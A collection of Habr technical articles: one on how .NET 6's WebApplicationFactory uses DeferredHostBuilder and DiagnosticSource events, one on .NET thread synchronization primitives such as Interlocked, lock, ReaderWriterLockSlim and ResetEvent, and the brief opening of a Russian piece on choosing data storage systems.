В предыдущей статье я описал изменения, внесённые в `HostBuilder` для поддержки `HostFactoryResolver`, используемого инструментами `WebApplicationFactory` и EF Core. В первую очередь это было достигнуто за счёт добавления дополнительных событий `DiagnosticSource` в `HostBuilder`. Они позволяют `HostFactoryResolver` получить доступ к `HostBuilder` без необходимости использовать соглашения предыдущих версий.
`WebApplicationFactory` также выигрывает от этого нового механизма, но пришлось внести несколько дополнительных изменений. Инструментам EF Core просто необходимо получить доступ к построенному `IHost`, чтобы извлечь из него `IServiceProvider`. `IServiceProvider` фиксируется после создания `IHost`, поэтому подход «остановки приложения», показанный на изображении выше, работал просто отлично.
Однако это не работает для `WebApplicationFactory`. `WebApplicationFactory` должна иметь возможность модифицировать `HostBuilder` вашего приложения до вызова `Build()`. Кроме того, она не может просто остановить вашу программу после вызова `HostBuilder.Build()`.
В .NET 6 вы можете писать любой код между вызовами `WebApplicationBuilder.Build()` и `WebApplication.Run()`. Вы не можете изменить `IServiceCollection`, но вы можете зарегистрировать свои конечные точки и промежуточное ПО между этими вызовами:
```
var builder = WebApplication.CreateBuilder(args);
builder.Services.AddRazorPages();
var app = builder.Build(); // вызывает HostBuilder.Build()
app.UseStaticFiles();
app.MapGet("/", () => "Hello World!");
app.MapRazorPages();
app.Run(); // вызывает Host.StartAsync()
```
Это немного усложняет работу `WebApplicationFactory`, так как фабрике нужно выполнить весь код в `Program.cs` вплоть до вызова `app.Run()`, поэтому она не может полагаться только на события `DiagnosticSource`, добавленные в `HostBuilder`. В оставшейся части этого поста мы рассмотрим, как `WebApplicationFactory` достигает этого.
WebApplicationFactory в .NET 6
------------------------------
На первый взгляд, способ использования `WebApplicationFactory` не изменился в .NET 6. Точно такой же тестовый код, который я показал выше, будет работать в .NET 6, даже если вы используете новые минимальные API хостинга с `WebApplication` и `WebApplicationBuilder`.
*Одна небольшая неприятность заключается в том, что* [*нет известного класса Startup, который можно было бы использовать в качестве «маркера» для обобщённого параметра T в WebApplicationFactory*](https://github.com/dotnet/aspnetcore/pull/33462)*\*EN. На практике это, скорее всего, будет проблемой только для программ уровня «Hello world», поскольку вы можете использовать любой класс в своём веб-приложении в качестве маркера, но об этой особенности следует знать.*
`WebApplicationFactory` [предоставляет несколько способов настройки вашего приложения в интеграционных тестах](https://docs.microsoft.com/ru-ru/aspnet/core/test/integration-tests?view=aspnetcore-6.0#customize-webapplicationfactory), но по своей сути она предоставляет способ запуска экземпляра хоста вашего приложения в памяти. Один из основных методов в этом процессе — `EnsureServer()`, который частично показан ниже.
```
public class WebApplicationFactory : IDisposable, IAsyncDisposable where TEntryPoint : class
{
private void EnsureServer()
{
// Нужно убедиться, что мы можем найти .deps.json для приложения
EnsureDepsFile();
// Пытаемся создать HostBuilder для приложения, используя по соглашению
// метод CreateHostBuilder (в ASP.NET Core 3.x/5) и HostFactoryResolver
var hostBuilder = CreateHostBuilder();
if (hostBuilder is not null)
{
// Если удалось, применяем настройки к построителю хоста (показано ниже)
ConfigureHostBuilder(hostBuilder);
return;
}
// Пытаемся создать WebHostBuilder для приложения, используя по соглашению
// метод CreateWebHostBuilder (в ASP.NET Core 2.x) и HostFactoryResolver
var builder = CreateWebHostBuilder();
if (builder is null)
{
// Не удалось создать WebHostBuilder, поэтому пробуем подход из .NET 6
// (показан в следующем разделе)
// ...
}
else
{
// успешно создали WebHostBuilder, поэтому применяем настройки и выходим
SetContentRoot(builder);
\_configuration(builder);
\_server = CreateServer(builder);
}
}
private void ConfigureHostBuilder(IHostBuilder hostBuilder)
{
// Настраиваем веб-хост
hostBuilder.ConfigureWebHost(webHostBuilder =>
{
SetContentRoot(webHostBuilder);
\_configuration(webHostBuilder);
// Заменяем Kestrel на TestServer
webHostBuilder.UseTestServer();
});
// Создаём IHost
\_host = CreateHost(hostBuilder);
// Получаем экземпляр TestServer
\_server = (TestServer)\_host.Services.GetRequiredService();
}
}
```
`EnsureServer()` отвечает за заполнение поля `_server` типом `TestServer` с помощью `HostFactoryResolver`. Сначала он пытается создать экземпляр `IHostBuilder` через метод `Program.CreateHostBuilder()`, обычно используемый в ASP.NET Core 3.x/5. Если это не удаётся, он ищет метод `Program.CreateWebHostBuilder()`, используемый в ASP.NET Core 2.x. Если и это не удается, он прибегает к подходу .NET 6, который я извлёк из описанного выше метода и показал ниже.
```
// Создаём DeferredHostBuilder (его рассмотрим позже)
var deferredHostBuilder = new DeferredHostBuilder();
deferredHostBuilder.UseEnvironment(Environments.Development);
// Убеждаемся, что имя приложения установлено корректно.
// Без этого кода, имя приложения будет установлено как testhost (см. https://github.com/dotnet/aspnetcore/pull/35101)
deferredHostBuilder.ConfigureHostConfiguration(config =>
{
config.AddInMemoryCollection(new Dictionary
{
{ HostDefaults.ApplicationKey, typeof(TEntryPoint).Assembly.GetName()?.Name ?? string.Empty }
});
});
// Этот вызов вспомогательного метода выполняет основную работу по определению, можем ли мы вернуться к исходным диагностическим событиям, чтобы получить экземпляр хоста.
var factory = HostFactoryResolver.ResolveHostFactory(
typeof(TEntryPoint).Assembly,
stopApplication: false,
configureHostBuilder: deferredHostBuilder.ConfigureHostBuilder,
entrypointCompleted: deferredHostBuilder.EntryPointCompleted);
if (factory is not null)
{
// Если у нас есть фабрика, это значит, что указанная точка входа сборки потенциально может разрешить IHost,
// поэтому мы устанавливаем фабрику в DeferredHostBuilder, чтобы можно было вызвать её в IHostBuilder.Build.
deferredHostBuilder.SetHostFactory(factory);
ConfigureHostBuilder(deferredHostBuilder);
return;
}
// Не удалось разрешить точку входа .NET 6, выбрасываем исключение
throw new InvalidOperationException();
```
В этом методе используется новый тип `DeferredHostBuilder`, который мы вскоре рассмотрим, но важным разделом является вызов `HostFactoryResolver.ResolveHostFactory()`. Этот метод использует события `DiagnosticSource`, которые [рассматривались в предыдущей статье](https://habr.com/ru/post/598247/), для настройки `IHostBuilder` и доступа к `IHost`. В частности, вызов регистрирует два обратных вызова:
* `deferredHostBuilder.ConfigureHostBuilder`: вызывается непосредственно перед построением `IHostBuilder`, ему передаётся экземпляр `IHostBuilder`.
* `deferredHostBuilder.EntryPointCompleted`: вызывается, если в процессе сборки возникает исключение.
Важно отметить, что для аргумента `stopApplication` установлено значение `false`; это гарантирует, что процесс запуска приложения не будет прерван.
*Сравните это с подходом для EF Core, в котором* `stopApplication=true`*. Инструменты EF Core не хотят запускать ваше приложение, им просто нужен доступ к* `IHost` *(и* `IServiceProvider`*), поэтому они могут остановить приложение после сборки хоста.*
На следующей диаграмме показано взаимодействие `WebApplicationFactory` с `HostFactoryResolver` и `DeferredHostBuilder`, а также с другими типами, которые мы рассмотрим позже. Не беспокойтесь о том, чтобы полностью понять её сейчас, но я думаю, что сейчас полезно рассматривать это как схему того, куда мы идём!
Вы можете удивиться, зачем нам здесь нужен новый тип, `DeferredHostBuilder`. Он необходим из-за асинхронного способа ожидания завершения работы «основного» приложения. В следующем разделе я подробно рассмотрю этот тип.
DeferredHostBuilder и ожидание сигнала StartAsync
-------------------------------------------------
`DeferredHostBuilder` — это ещё один `IHostBuilder`, который был представлен в .NET 6 ([наряду с другими](https://habr.com/ru/post/596207/))! Он предназначен для «захвата» вызываемых в нём методов конфигурации (например, `ConfigureServices()`), а затем «воспроизведения» их для `IHostBuilder` реального приложения, как только он станет доступен.
Эти методы «отсрочки» собирают методы конфигурации в виде мультикаст-делегата, например:
```
internal class DeferredHostBuilder : IHostBuilder
{
private Action \_configure;
public IHostBuilder ConfigureServices(Action configureDelegate)
{
\_configure += b => b.ConfigureServices(configureDelegate);
return this;
}
// ...
}
```
Эти делегаты затем применяются к `IHostBuilder`, когда вызывается событие `HostBuilding` экземляра `DiagnosticSource`:
```
public void ConfigureHostBuilder(object hostBuilder)
{
_configure(((IHostBuilder)hostBuilder));
}
```
Затем `WebApplicationFactory` вызывает `Build()` на `DeferredHostBuilder`. Этот метод, как показано ниже, вызывает метод `_hostFactory`, возвращаемый `HostResolverFactory`. Вызов этого метода запускает [процесс, описанный в предыдущей статье](https://habr.com/ru/post/598247/), в котором приложение выполняется в отдельном потоке, с помощью событий `DiagnosticSource` вызывается настройка `ConfigureHostBuilder()` и возвращается экземпляр `IHost`.
```
public IHost Build()
{
// Конфигурация хостинга предоставляется через аргументы, чтобы
// мы могли влиять на приложения, основанные на WebApplicationBuilder.
var args = new List();
// Переводим конфигурацию хоста в аргументы командной строки
foreach (var (key, value) in \_hostConfiguration.AsEnumerable())
{
args.Add($"--{key}={value}");
}
// Выполняем приложение в отдельном потоке и слушаем события DiagnosticSource
var host = (IHost)\_hostFactory!(args.ToArray());
// Мы не можем возвратить хост напрямую, потому что нам нужно отложить вызов StartAsync
return new DeferredHost(host, \_hostStartTcs);
}
```
Помните, что приложение в отдельном потоке не перестаёт работать, когда мы извлекаем экземпляр `IHost`, потому что нам нужно, чтобы остальной код в `Program.cs` выполнился. `DeferredHostBuilder` сохраняет `IHost` в новый тип `DefferedHost` и возвращает его из вызова `Build()`.
`_hostStartTcs` *— это* `TaskCompletionSource`*, который используется для обработки пограничного случая, когда приложение, работающее в фоновом режиме, завершает работу из-за исключения. Это крайний случай, но без него тест может зависнуть на неопределенный срок.*
`DeferredHost` отвечает за ожидание правильного запуска приложения (а не только за сборку `IHost`). Ему нужно подождать, пока будут настроены все конечные точки, а также исполнится любой дополнительный стартовый код.
`DeferredHost` достигает этого, используя существующие события `IHostApplicationLifetime`, которые вызываются в обычном приложении на универсальном хосте при запуске. На следующем изображении (взятом из [статьи, посвященной анализу процесса запуска универсального хоста](https://andrewlock.net/introducing-ihostlifetime-and-untangling-the-generic-host-startup-interactions/#the-startup-process-in-host-startasync-)\*EN) показано, что метод `NotifyStarted()` вызывается в `IHostApplicationLifetime` после запуска сервера.
Вызов `NotifyStarted()` вызывает событие `ApplicationStarted`, которое `DeferredHost` использует для определения того, что приложение запущено, и можно безопасно запускать тесты. Когда `WebApplicationFactory` вызывает `StartAsync()` для `DeferredHost`, `DeferredHost` блокируется до тех пор, пока не возникнет событие `ApplicationStarted`.
```
public async Task StartAsync(CancellationToken cancellationToken = default)
{
// Ждём, пока существующий хост начнёт работать, и дожидаемся этого вызова.
// Это позволяет избежать слишком раннего запуска фактического хоста и оставляет приложение ответственным за старт.
using var reg = cancellationToken.UnsafeRegister(_ => _hostStartedTcs.TrySetCanceled(), null);
// Если приложение создаст хост, но никогда не вызовет start, это приводит к взаимоблокировке.
// Это решается с помощью CancellationToken, но он редко является допустимым токеном для старта.
using var reg2 = _host.Services.GetRequiredService().ApplicationStarted.UnsafeRegister(\_ => \_hostStartedTcs.TrySetResult(), null);
await \_hostStartedTcs.Task.ConfigureAwait(false);
}
```
Метод `StartAsync()` добавляет дополнительные обратные вызовы к `TaskCompletionSource`, о которых я упоминал ранее, а затем ожидает задачу перед возвратом. Это заблокирует тестовый код до тех пор, пока не произойдёт одно из трех событий:
* Веб-приложение выбросит исключение, которое вызовет функцию обратного вызова `EntryPointCompleted()` на `DeferredHostBuilder` и отменит задачу.
* `CancellationToken`, переданный методу `StartAsync()`, отменится, что отменит задачу.
* Приложение запустится, вызвав событие `ApplicationStarted`, завершив задачу успехом.
Как отмечено в комментариях к этому методу, если вы никогда не вызываете `Start()` или `Run()` в своем веб-приложении (и не генерируете исключение), это приведёт к взаимоблокировке, но тогда у вас, скорее всего, не будет действительного веб-приложения, так что это не большая проблема.
Вот и всё! После вызова `Start()` `WebApplicationFactory` создаёт `HttpClient`, как и в предыдущих версиях, и вы можете выполнять вызовы в памяти, как и раньше. Стоит знать, что (в отличие от предыдущих версий ASP.NET Core) в ваших тестах будет исполнено всё, что содержится в `Program.cs`. Но, помимо этого нюанса, всё в вашем тестовом коде останется прежним.
Итого
-----
В этой статье я описал изменения, сделанные в `WebApplicationFactory` для поддержки новых минимальных API хостинга, использующих `WebApplication` и `WebApplicationBuilder`. Изменения потребовались, потому что в `Program.cs` больше нет «обычных» методов, которые можно вызывать с помощью рефлексии, а также внутри `Program.cs` происходит настройка вашего промежуточного программного обеспечения и конечных точек.
Чтобы обойти эту проблему, `WebApplicationFactory` использует те же события `DiagnosticSource`, что и инструменты EF Core [из предыдущей статьи](https://habr.com/ru/post/598247/), для настройки IHostBuilder и получения `IHost`. Однако, в отличие от инструментов EF Core, `WebApplicationFactory` не останавливает приложение после сборки `IHost`. Вместо этого она позволяет приложению продолжить работу и прослушивает событие `IHostApplicationLifetime.ApplicationStarted`. Это позволяет WebApplicationFactory блокироваться до тех пор, пока не будет выполнен весь код в Program.cs и приложение не будет готово начать обработку запросов. | https://habr.com/ru/post/647315/ | null | ru | null |
# .NET – Tools for working with multithreading and asynchrony – Part 2
*I have originally posted this article in [CodingSight](https://codingsight.com/net-tools-for-working-with-multithreading-and-asynchrony-part-2/) blog.
It's also available in Russian [here](https://habr.com/ru/post/459514/).*
This article comprises the second part of my speech at the multithreading meetup. You can have a look at the first part [here](https://codingsight.com/net-tools-for-working-with-multi-threading-and-asynchrony-part-1/) and [here](https://habr.com/post/455252/). In the first part, I focused on the basic set of tools used to start a thread or a Task, the ways to track their state, and some additional neat things such as PLinq. In this part, I will fix on the issues you may encounter in a multi-threaded environment and some of the ways to resolve them.
Contents
--------
* [Concerning shared resources](https://habr.com/post/461471/#SharedResources)
* [Possible issues in multi-threaded environments](https://habr.com/post/461471/#Problems)
+ [Deadlock](https://habr.com/post/461471/#Deadlock)
+ [Race-Condition](https://habr.com/post/461471/#RaceCondition)
+ [Busy-Wait](https://habr.com/post/461471/#BusyWait)
+ [Thread Starvation](https://habr.com/post/461471/#ThreadStarvation)
* [Synchronization methods](https://habr.com/post/461471/#SyncPrimitives)
+ [Interlocked](https://habr.com/post/461471/#Interlocked)
+ [Monitor.Enter, Monitor.Exit, lock](https://habr.com/post/461471/#Lock)
+ [SpinLock, SpinWait](https://habr.com/post/461471/#SpinLock)
+ [Monitor.Wait, Monitor.Pulse[All]](https://habr.com/post/461471/#Pulse)
+ [ReaderWriterLockSlim](https://habr.com/post/461471/#ReaderWriterLockSlim)
+ [The ResetEvent family](https://habr.com/post/461471/#ResetEvent)
* [Conclusions](https://habr.com/post/461471/#Conclusions)
Concerning shared resources
---------------------------
You can’t write a program which work is based on multiple threads without having shared resources. Even if it works on your current abstraction level, you will find that it actually has shared resources as soon as you go down one or more abstraction levels. Here are some examples:
**Example #1:**
To avoid possible issues, you make the threads work with different files, one file for each thread. It seems to you that the program has no shared resources whatsoever.
Going a few levels down, you get to know that there’s only one hard drive, and it’s up to the driver or the OS to find a solution for issues with hard drive access.
**Example #2:**
Having read *example #1*, you decided to place the files on two different remote machines with physically different hardware and operating systems. You also maintain two different FTP or NFS connections.
Going a few levels down again, you understand that nothing has really changed, and the competitive access issue is now delegated to the network card driver or the OS of the machine on which the program is running.
**Example #3:**
After pulling out most of your hair over the attempts of proving you can write a multi-threaded program, you decide to ditch the files completely and move the calculations to two different objects, with the links to each of the object available only to their specific threads.
To hammer the final dozen nails into this idea’s coffin: one runtime and Garbage Collector, one thread scheduler, physically one unified RAM, and one processor are still considered shared resources.
So, we learned that it is impossible to write a multi-threaded program with no shared resources on all abstraction levels and on the whole scope of the technology stack. Fortunately, each abstraction level (as a general rule) partially or even fully takes care of the issues of competitive access or just denies it right away (example: any UI framework does not allow working with elements from different threads). So typically, the issues with shared resources appear at your current abstraction level. To take care of them, the concept of synchronization is introduced.
Possible issues in multi-threaded environments
----------------------------------------------
We can classify software errors into the following categories:
1. The program doesn’t produce a result – it crashes or freezes.
2. The program gives an incorrect result.
3. The program produces a correct result but doesn’t satisfy some non-function-related requirement – it spends too much time or resources.
In multi-threaded environments, the main issues that result in errors #1 and #2 are **deadlock** and **race condition**.
### Deadlock
Deadlock is a mutual block. There are many variations of a deadlock. The following one can be considered as the most common:
While **Thread#1** was doing something, **Thread#2** blocked resource **B**. Sometime later, **Thread#1** blocked resource **A** and was trying to block resource B. unfortunately, this won’t ever happen because **Thread#2** will only let go of resource **B** after blocking resource **А**.
### Race-Condition
Race-Condition is a situation when both, the behavior and results of the calculations depend on the thread scheduler of the execution environment
The trouble is that your program can work improperly one time in a hundred, or even in a million.
The things may get worse when issues come in threes. For example, the specific behavior of the thread scheduler may lead to a mutual deadlock.
In addition to these two issues which lead to explicit errors, there are also the issues which, if not leading to incorrect calculation results, may still make the program take much more time or resources to produce the desired result. Two of such issues are **Busy Wait** and **Thread Starvation**.
### Busy-Wait
Busy Wait is an issue that takes place when the program spends processor resources on waiting rather than on calculation.
Typically, this issue looks like the following:
```
while(!hasSomethingHappened)
;
```
This is an example of an extremely poor code as it fully occupies one core of your processor while not really doing anything productive at all. Such code can only be justified when it is critically important to quickly process a change of a value in a different thread. And by ‘quickly’ I mean that you can’t wait even for a few nanoseconds. In all other cases, that is, all cases a reasonable mind can come up with, it is much more convenient to use the variations of ResetEvent and their Slim versions. We’ll talk about them a little bit later.
Probably, some readers would suggest resolving the issue of one core being fully occupied with waiting by adding Thread.Sleep(1) (or something similar) into the cycle. While it will resolve this issue, a new one will be created – the time it takes to react to changes will now be 0.5 ms on average. On one hand, it’s not that much, but on the other, this value is catastrophically higher than what we can achieve by using synchronization primitives of the ResetEvent family.
### Thread Starvation
Thread Starvation is an issue with the program having too many concurrently-operating threads. Here, we’re talking specifically about the threads occupied with calculation rather than with waiting for an answer from some IO. With this issue, we lose any possible performance benefits that come along with threads because the processor spends a lot of time on switching contexts.
You can find such issues by using various profilers. The following is a screenshot of the [dotTrace](https://www.jetbrains.com/profiler/) profiler working in the Timeline mode
[](https://habrastorage.org/webt/qy/n9/nk/qyn9nkwglryzuu60cipo8zdi0ra.png)
*(click to enlarge).*
Usually, programs that are not suffering from the thread starvation do not have any pink sections on the charts representing the threads. Moreover, in the Subsystems category, we can see that the program was waiting for CPU for 30.6% of the time.
When such an issue is diagnosed, you can take care of it rather simply: you have started too many threads at once, so just start fewer threads.
Synchronization methods
-----------------------
### Interlocked
This is probably the most lightweight synchronization method. Interlocked is a set of simple atomic operations. When an atomic operation is being executed, nothing can happen. In .NET, Interlocked is represented by the static class of the same name with a selection of methods, each one of them implementing one atomic operation.
To realize the ultimate horror of non-atomic operations, try writing a program that launches 10 threads, each one of them incrementing the same variable a million times over. When they are done with their job, output the value of this variable. Unfortunately, it will greatly differ from 10 million. In addition, it will be different each time you run the program. This happens because even such simple operation as the increment is not an atomic one, and includes the value extraction from memory, calculation of new value and writing it to the memory again. So, two threads can make any of these operations and an increment will be lost in this case.
The Interlocked class provides the Increment/Decrement methods, and it’s not difficult to guess what they’re supposed to do. They are really handy if you process data in several threads and calculate something. Such code will work much faster than the classic lock. If we used Interlocked in the situation described in the previous paragraph, the program would reliably produce a value of 10 million in any scenario.
The function of the CompareExchange method is not that obvious. However, its existence enables the implementation of a lot of interesting algorithms. Most importantly, the ones from the lock-free family.
```
public static int CompareExchange (ref int location1, int value, int comparand);
```
This method takes three values. The first one is passed through a reference and it is the value that will be changed to the second one if location1 is equal to comparand when the comparison is performed. The original value of location1 will be returned. This sounds complicated, so it’s easier to write a piece of code that performs the same operations as CompareExchange:
```
var original = location1;
if (location1 == comparand)
location1 = value;
return original;
```
The only difference is that the Interlocked class implements this in an atomic way. So, if we wrote this code ourselves, we could face a scenario in which the condition location1 == comparand has already been met. But when the statement location1 = value is being executed, a different thread has already changed the location1 value, so it will be lost.
We can find a good example of how this method can be used in the code that the compiler generates for any С# event.
Let’s write a simple class with one event called MyEvent:
```
class MyClass {
public event EventHandler MyEvent;
}
```
Now, let’s build the project in Release configuration and open the build through [dotPeek](https://www.jetbrains.com/decompiler/) with the “Show Compiler Generated Code” option enabled:
```
[CompilerGenerated]
private EventHandler MyEvent;
public event EventHandler MyEvent
{
[CompilerGenerated] add
{
EventHandler eventHandler = this.MyEvent;
EventHandler comparand;
do
{
comparand = eventHandler;
eventHandler = Interlocked.CompareExchange(ref this.MyEvent, (EventHandler) Delegate.Combine((Delegate) comparand, (Delegate) value), comparand);
}
while (eventHandler != comparand);
}
[CompilerGenerated] remove
{
// The same algorithm but with Delegate.Remove
}
}
```
Here, we can see that the compiler has generated a rather complex algorithm behind the scenes. This algorithm prevents us from losing a subscription to the event in which a few threads are simultaneously subscribed to this event. Let’s elaborate on the add method while keeping in mind what the CompareExchange method does behind the scenes:
```
EventHandler eventHandler = this.MyEvent;
EventHandler comparand;
do
{
comparand = eventHandler;
// Begin Atomic Operation
if (MyEvent == comparand)
{
eventHandler = MyEvent;
MyEvent = Delegate.Combine(MyEvent, value);
}
// End Atomic Operation
}
while (eventHandler != comparand);
```
This is much more manageable, but probably still requires an explanation. This is how I would describe the algorithm:
*If MyEvent is still the same as it was at the moment we started executing Delegate.Combine, then set it to what Delegate.Combine returns. If it’s not the case, try again until it works.*
In this way, subscriptions will never be lost. You will have to solve a similar issue if you would like to implement a dynamic, thread-safe, lock-free array. If several threads suddenly start adding elements to that array, it’s important for all of those elements to be successfully added.
### Monitor.Enter, Monitor.Exit, lock
These constructions are used for thread synchronization most frequently. They implement the concept of a critical section: that is, the code written between the calls of Monitor.Enter and Monitor.Exit can only be executed on one resource at one point of time by only one thread. The lock operator serves as syntax-sugar around the Enter/Exit calls wrapped in try-finally. A pleasant quality of the critical section in .NET is that it supports reentrancy. This means that the following code can be executed with no real issues:
```
lock(a) {
lock (a) {
...
}
}
```
It’s unlikely that anyone would write in this exact way, but if you spread this code between a few methods through the depth of the call-stack, this feature can save you a few IFs. For this trick to work, the developers of .NET had to add a limitation – you can only use instances of reference types as a synchronization object, and a few bytes are added to each object where the thread identifier will be written.
This peculiarity of the critical section’s work process in C# imposes one interesting limitation on the lock operator: you can’t use the await operator inside the lock operator. At first, this surprised me since a similar try-finally Monitor.Enter/Exit construction can be compiled. What’s the deal? It’s important to re-read the previous paragraph and apply some knowledge of how async/await works: the code after await won’t be necessarily executed on the same thread as the code before await. This depends on the synchronization context and whether the ConfigureAwait method is called or not. From this, it follows that Monitor.Exit may be executed on a different thread than Monitor.Enter, which will lead to SynchronizationLockException being thrown. If you don’t believe me, try running the following code in a console application – it will generate a **SynchronizationLockException**:
```
var syncObject = new Object();
Monitor.Enter(syncObject);
Console.WriteLine(Thread.CurrentThread.ManagedThreadId);
await Task.Delay(1000);
Monitor.Exit(syncObject);
Console.WriteLine(Thread.CurrentThread.ManagedThreadId);
```
It’s worth noting that, in a WinForms or WPF application, this code will work correctly if you call it from the main thread as there will be a synchronization context that implements returning to UI-Thread after calling await. In any case, it’s better not to play around with critical sections in the context of a code containing the await operator. In such examples, it’s better to use synchronization primitives we will look at a little bit later.
While we’re on the topic of critical sections in .NET, it’s important to mention one more peculiarity of how they’re implemented. A critical section in .NET works in two modes: spin-wait and core-wait. We can represent the spin-wait algorithm like the following pseudocode:
```
while(!TryEnter(syncObject))
;
```
This optimization is directed towards capturing a critical section as quickly as possible in a short amount of time on the basis that, even if the resource is currently occupied, it will be released very soon. If this doesn’t happen in a short amount of time, the thread will switch to waiting in the core mode, which takes time – just as going back from waiting. The developers of .NET have optimized the scenario of short blocks as much as possible. Unfortunately, if many threads start pulling the critical section between themselves, it can lead to a sudden high load on CPU.
### SpinLock, SpinWait
Having already mentioned the cyclic wait algorithm (spin-wait), it’s worth talking about the SpinLock and SpinWait structures from BCL. You should use them if there are reasons to suppose it will always be possible to get a block very quickly. On the other hand, you shouldn’t really think about them until the profiling results will show that your program’s bottleneck is caused by using other synchronization primitives.
### Monitor.Wait, Monitor.Pulse[All]
We should look at these two methods side-by-side. With their help, you can implement various Producer-Consumer scenarios.
Producer-Consumer is a pattern of multi-process/multi-threaded design implying one or more threads/processes which produce data and one or more processes/threads which process this data. Usually, a shared collection is used.
Both of these methods can only be called by a thread which currently has a block. The Wait method will release the block and freeze until another thread will call Pulse.
As a demonstration of this, I wrote a little example:
```
object syncObject = new object();
Thread t1 = new Thread(T1);
t1.Start();
Thread.Sleep(100);
Thread t2 = new Thread(T2);
t2.Start();
```
*(I used an image rather than text here to accurately show the instruction execution order)*
**Explanation:** I set a 100-ms latency when starting the second thread to specifically guarantee that it will be executed later.
— T1:Line#2 the thread is started
— T1:Line#3 the thread enters a critical section
— T1:Line#6 the thread goes to sleep
— T2:Line#3 the thread is started
— T2:Line#4 it freezes and waits for the critical section
— T1:Line#7 it lets the critical section go and freezes while waiting for Pulse to come out
— T2:Line#8 it enters the critical section
— T2:Line#11 it signals T1 with the help of Pulse
— T2:Line#14 it comes out of the critical section. T1 cannot continue its execution before this happens.
— T1:Line#15 it comes out from waiting
— T1:Line#16 it comes out from the critical section
*There is an important remark in [MSDN](https://docs.microsoft.com/en-us/dotnet/api/system.threading.monitor.pulse?view=netcore-2.2#remarks) regarding the use of the Pulse/Wait methods: Monitor doesn’t store the state information, which means that calling the Pulse method before the Wait method can lead to a deadlock. If such a case is possible, it’s better to use one of the classes from the ResetEvent family.*
The previous example clearly shows how the Wait/Pulse methods of the Monitor class work, but still leaves some questions about the cases in which we should use them. A good example is [this](https://stackoverflow.com/a/530228) [implementation](https://referencesource.microsoft.com/#System/sys/system/collections/concurrent/BlockingCollection.cs,56) of BlockingQueue. On the other hand, the implementation of BlockingCollection from System.Collections.Concurrent uses SemaphoreSlim for synchronization.
### ReaderWriterLockSlim
I dearly love this synchronization primitive, and it’s represented by the class of the same name from the System.Threading namespace. I think that a lot of programs would work much better if their developers used this class instead of the standard lock.
Idea: a lot of threads can read, and the only one can write. When a thread wants to write, new reads cannot be started – they will be waiting for the writing to the end. There is also the upgradeable-read-lock concept. You can use it when, during the process of reading, you understand there is a need to write something – such a lock will be transformed into a write-lock in one atomic operation.
In the System.Threading namespace, there is also the ReadWriteLock class, but it’s highly recommended not to use it for new development. The Slim version will help avoid cases which lead to deadlocks and allows to quickly capture a block as it supports synchronization in the spin-wait mode before going to the core mode.
If you didn’t know about this class before reading this article, I think by now, you have remembered a lot of examples from the recently-written code where this approach to blocks allowed the program to work effectively.
The interface of the ReaderWriterLockSlim class is simple and easy to understand, but it’s not that comfortable to use:
```
var @lock = new ReaderWriterLockSlim();
@lock.EnterReadLock();
try
{
// ...
}
finally
{
@lock.ExitReadLock();
}
```
I usually like to wrap it in a class – this makes it much handier.
***Idea:** create Read/WriteLock methods which return an object along with the Dispose method. You can then access them in Using, and it probably won’t differ too much from the standard lock when it comes to the number of lines.*
```
class RWLock : IDisposable
{
public struct WriteLockToken : IDisposable
{
private readonly ReaderWriterLockSlim @lock;
public WriteLockToken(ReaderWriterLockSlim @lock)
{
this.@lock = @lock;
@lock.EnterWriteLock();
}
public void Dispose() => @lock.ExitWriteLock();
}
public struct ReadLockToken : IDisposable
{
private readonly ReaderWriterLockSlim @lock;
public ReadLockToken(ReaderWriterLockSlim @lock)
{
this.@lock = @lock;
@lock.EnterReadLock();
}
public void Dispose() => @lock.ExitReadLock();
}
private readonly ReaderWriterLockSlim @lock = new ReaderWriterLockSlim();
public ReadLockToken ReadLock() => new ReadLockToken(@lock);
public WriteLockToken WriteLock() => new WriteLockToken(@lock);
public void Dispose() => @lock.Dispose();
}
```
This allows us to just write the following later in the code:
```
var rwLock = new RWLock();
// ...
using(rwLock.ReadLock())
{
// ...
}
```
### The ResetEvent family
I include the following classes in this family: ManualResetEvent, ManualResetEventSlim, and AutoResetEvent.
The ManualResetEvent class, its Slim version, and the AutoResetEvent class can exist in two states:
— Non-signaled – in this state, all threads that have called WaitOne freeze until the event switches to a signaled state.
— Signaled – in this state, all threads previously frozen on a WaitOne call are released. All new WaitOne calls on a signaled event are performed relatively instantaneously.
AutoResetEvent differs from ManualResetEvent in that it automatically switches to the non-signaled state after releasing **exactly one thread**. If a few threads are frozen while waiting for AutoResetEvent, then calling Set will only release one random thread, as opposed to ManualResetEvent which releases all threads.
Let’s look at an example of how AutoResetEvent works:
```
AutoResetEvent evt = new AutoResetEvent(false);
Thread t1 = new Thread(T1);
t1.Start();
Thread.Sleep(100);
Thread t2 = new Thread(T2);
t2.Start();
```
In these examples, we can see that the event switches to the non-signaled state automatically only after releasing the thread that was frozen on a WaitOne call.
Unlike ReaderWriterLock, ManualResetEvent is not considered obsolete even after its Slim version appeared. This Slim version of the class can be effective for short waits as it happens in the Spin-Wait mode; the standard version is good for long waits.
Apart from the ManualResetEvent and AutoResetEvent classes, there is also the CountdownEvent class. This class is very useful for implementing algorithms that merge results together after a parallel section. This approach is known as [fork-join](https://en.wikipedia.org/wiki/Fork%E2%80%93join_model). There is a great [article](http://dotnetpattern.com/threading-countdownevent) dedicated to this class, so I won’t describe it in detail here.
Conclusions
-----------
* When working with threads, there are two issues that may lead to incorrect results or even the absence of results – race condition and deadlock.
* Issues that can make the program spend more time or resources are thread starvation and busy wait.
* .NET provides a lot of ways to synchronize threads.
* There are two modes of block waits – Spin Wait and Core Wait. Som.e thread synchronization primitives in .NET use both of them.
* Interlocked is a set of atomic operations which can be used to implement lock-free algorithms. It’s the fastest synchronization primitive.
* The lock and Monitor.Enter/Exit operators implement the concept of a critical section – a code fragment that can only be executed by one thread at one point of time.
* The Monitor.Pulse/Wait methods are useful for implementing Producer-Consumer scenarios.
* ReaderWriterLockSlim can be more useful than the standard locking cases when parallel reading is expected.
* The ResetEvent class family can be useful for thread synchronization. | https://habr.com/ru/post/461471/ | null | en | null |
# Системы хранения данных: как выбирать?!
Проект любой сложности, как ни крути, сталкивается с задачей хранения данных. Таким хранилищем могут быть разные системы: Block storage, File storage, Object storage и Key-value storage. В любом вменяемом проекте перед покупкой того или иного storage-решения проводятся тесты для проверки определённых параметров в определённых условиях. Вспомнив, сколько хороших, сделанных правильно растущими руками проектов прокололись на том, что забыли про масштабируемость, мы решили разобраться:
* Какие характеристики Block storage и File storage нужно учитывать, если хотите, чтобы при росте проекта система хранения выросла вслед за ним
* Почему отказоустойчивость на software уровне надежнее и дешевле, чем на hardware уровне
